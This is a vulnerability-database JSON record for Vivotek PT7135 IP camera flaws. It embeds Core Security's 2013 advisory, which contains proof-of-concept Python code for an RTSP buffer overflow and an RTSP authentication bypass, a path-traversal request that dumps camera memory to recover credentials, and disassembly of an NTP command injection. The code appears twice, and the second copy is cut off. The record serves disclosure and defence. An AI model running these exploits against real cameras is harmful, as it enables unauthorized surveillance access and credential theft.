"db": "PACKETSTORM",
"id": "64103"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2008-10-28T00:00:00",
"db": "VULHUB",
"id": "VHN-34896"
},
{
"date": "2008-02-26T00:00:00",
"db": "BID",
"id": "28010"
},
{
"date": "2012-06-26T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"date": "2008-02-27T20:02:28",
"db": "PACKETSTORM",
"id": "64100"
},
{
"date": "2008-02-28T02:32:52",
"db": "PACKETSTORM",
"id": "64114"
},
{
"date": "2008-02-28T02:32:52",
"db": "PACKETSTORM",
"id": "64103"
},
{
"date": "2008-10-28T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"date": "2008-10-28T19:20:14.633000",
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-09-29T00:00:00",
"db": "VULHUB",
"id": "VHN-34896"
},
{
"date": "2015-04-16T18:05:00",
"db": "BID",
"id": "28010"
},
{
"date": "2012-06-26T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2008-003581"
},
{
"date": "2009-01-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-200810-480"
},
{
"date": "2025-04-09T00:30:58.490000",
"db": "NVD",
"id": "CVE-2008-4771"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Various IP Security Camera ActiveX Controls \u0027url\u0027 Attribute Buffer Overflow Vulnerability",
"sources": [
{
"db": "BID",
"id": "28010"
},
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
}
],
"trust": 0.9
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200810-480"
}
],
"trust": 0.6
}
}
VAR-202001-0835
Vulnerability from variot - Updated: 2025-01-30 22:42A Buffer Overflow vulnerability exists in Vivotek PT7135 IP Camera 0300a and 0400a via a specially crafted packet in the Authorization header field sent to the RTSP service, which could let a remote malicious user execute arbitrary code or cause a Denial of Service. Vivotek PT7135 IP Camera Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. Attackers can exploit this issue to execute arbitrary code in the context of the affected device. Failed attacks will cause denial-of-service conditions. Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. Advisory Information
Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release
- Vulnerability Information
Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598
- [CVE-2013-1594] to process GET requests that contain sensitive information,
- [CVE-2013-1596] to access the video stream via RTSP,
- [CVE-2013-1597] to dump the camera's memory and retrieve user credentials,
-
[CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a).
-
Vulnerable Packages
. Other Vivotek cameras/firmware are probably affected too, but they were not checked.
- Non-Vulnerable Packages
Vendor did not provide details. Contact Vivotek for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.
Some mitigation actions may be:
. Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'.
- Credits
[CVE-2013-1594] was originally discovered and reported [2] by Alejandro Leon Morales [3] and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security.
[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Sensitive information stored in plain text includes:
. FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . Safe100.net credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices):
/----- http://192.168.1.100/cgi-bin/admin/getparam.cgi
http://192.168.1.100/setup/parafile.html -----/
8.2. Remote Buffer Overflow
[CVE-2013-1595] The following Python script can be used to trigger the vulnerability. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.
/----- import socket, base64
cam_ip = '192.168.1.100' session_descriptor = 'live.sdp'
request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n'
auth_little = 'a' * 1000 auth_big = 'a' * 10000
msgs = [request % auth_little, request % auth_big]
for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close()
-----/
8.3. RTSP Authentication Bypass
[CVE-2013-1596] This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. As a result, the video stream can be accessed by an unauthenticated remote attacker.
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class Vivotek(Camera): # Vivotek PT7135/0400a def init(self, address): Camera.init(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/
8.4. User Credentials Leaked via Path Traversal
[CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw.
/----- import httplib
conn = httplib.HTTPConnection("192.168.1.100") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() -----/
8.5. OS Command Injection
[CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp':
/-----
.text:0000CB34 MOV R1, R4
.text:0000CB38 LDR R0, =aCmdporcessStar ;
"[CmdPorcess] Start sync with NTP server %s"...
.text:0000CB3C ADD R10, SP, #0x144+var_120
.text:0000CB40 BNE loc_CB68
[...]
.text:0000CB68 BL .printf
.text:0000CB6C LDR R2, =aSS_0 ; "%s%s"
.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;
"/usr/sbin/psntpdate -4fr "
.text:0000CB74 MOV R1, #0xFF ; maxlen
.text:0000CB78 MOV R0, R10 ; s
.text:0000CB7C STR R4, [SP,#0x144+var_144]
.text:0000CB80 BL .snprintf
.text:0000CB84 MOV R0, R10 ; command
.text:0000CB88 BL .system
-----/
- Report Timeline
. 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-03-11: Core asks for a security manager to send a confidential report. 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485). 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670). 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24: Core tries to contact vendor for last time without any reply. 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'.
- References
[1] http://www.vivotek.com/web/product/NetworkCameras.aspx [2] http://www.securityfocus.com/bid/54476. [3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0835",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "pt7135",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0400a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0300a"
},
{
"model": "pt7135 ip camera 0300a",
"scope": null,
"trust": 0.9,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135 ip camera 0400a",
"scope": null,
"trust": 0.9,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "pt7135 firmware 0300a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "pt7135 firmware 0400a"
},
{
"model": "network cameras",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"db": "BID",
"id": "59573"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Martin Rocha from Core Impact Pro Team",
"sources": [
{
"db": "BID",
"id": "59573"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-039"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1595",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1595",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-04656",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1595",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2013-1595",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1595",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2013-1595",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2013-04656",
"trust": 0.6,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04656"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007075"
},
{
"db": "NVD",
"id": "CVE-2013-1595"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "A Buffer Overflow vulnerability exists in Vivotek PT7135 IP Camera 0300a and 0400a via a specially crafted packet in the Authorization header field sent to the RTSP service, which could let a remote malicious user execute arbitrary code or cause a Denial of Service. Vivotek PT7135 IP Camera Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. \nAttackers can exploit this issue to execute arbitrary code in the context of the affected device. Failed attacks will cause denial-of-service conditions. \nSuccessful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. *Advisory Information*\n\nTitle: Vivotek IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0301\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-04-29\nVendors contacted: Vivotek\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Information leak through GET request [CWE-598], Buffer overflow\n[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS\ncommand injection [CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,\nCVE-2013-1598\n\n3. [CVE-2013-1594] to process GET requests that contain sensitive\ninformation,\n 2. [CVE-2013-1596] to access the video stream via RTSP,\n 4. [CVE-2013-1597] to dump the camera\u0027s memory and retrieve user\ncredentials,\n 5. [CVE-2013-1598] to execute arbitrary commands from the\nadministration web interface (pre-authentication with firmware 0300a and\npost-authentication with firmware 0400a). \n\n4. *Vulnerable Packages*\n\n . Other Vivotek cameras/firmware are probably affected too, but they\nwere not checked. \n\n5. *Non-Vulnerable Packages*\n\nVendor did not provide details. Contact Vivotek for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Vivotek after several attempts to\nreport these vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \n\nSome mitigation actions may be:\n\n . Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering \u0027/../../\u0027 and \u0027getparam.cgi\u0027 in\nHTTP requests. Filter strings in the parameter \u0027system.ntp\u0027 on every request made\nto the binary \u0027farseer.out\u0027. \n\n7. *Credits*\n\n[CVE-2013-1594] was originally discovered and reported [2] by Alejandro\nLeon Morales [3] and re-discovered on new firmware versions by Flavio De\nCristofaro from Core Security. \n\n[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by\nMartin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was\nmade by Martin Rocha with help of Juan Cotta from Core QA Team. \n\n[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by\nFrancisco Falcon and Nahuel Riva from Core Exploit Writers Team. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. Sensitive information stored in plain text includes:\n\n . FTP credentials\n . Share folder credentials\n . SMTP credentials\n . WEP / WPA Keys\n . DynDNS credentials\n . Safe100.net credentials\n . TZO credentials, among others. \nThe following GET requests can exploit the vulnerability (requests may\nchange according to firmware versions and vendors devices):\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/getparam.cgi\n\nhttp://192.168.1.100/setup/parafile.html\n-----/\n\n\n8.2. *Remote Buffer Overflow*\n\n[CVE-2013-1595] The following Python script can be used to trigger the\nvulnerability. As a result, the Instruction Pointer\nregister (IP) will be overwritten with 0x61616161, which is a typical\nbuffer overrun condition. \n\n/-----\nimport socket, base64\n\ncam_ip = \u0027192.168.1.100\u0027\nsession_descriptor = \u0027live.sdp\u0027\n\nrequest = \u0027DESCRIBE rtsp://%s/%s RTSP/1.0\\r\\n\u0027 % (cam_ip,\nsession_descriptor)\nrequest+= \u0027CSeq: 1\\r\\n\u0027\nrequest+= \u0027Authorization: Basic %s\\r\\n\u0027\nrequest+= \u0027\\r\\n\u0027\n\nauth_little = \u0027a\u0027 * 1000\nauth_big = \u0027a\u0027 * 10000\n\nmsgs = [request % auth_little, request % auth_big]\n\nfor msg in msgs:\n s = socket.socket()\n s.connect((cam_ip, 554))\n print s.send(msg)\n print s.recv(0x10000)\n s.close()\n\n-----/\n\n\n8.3. *RTSP Authentication Bypass*\n\n[CVE-2013-1596] This vulnerability is triggered by sending specially\ncrafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return 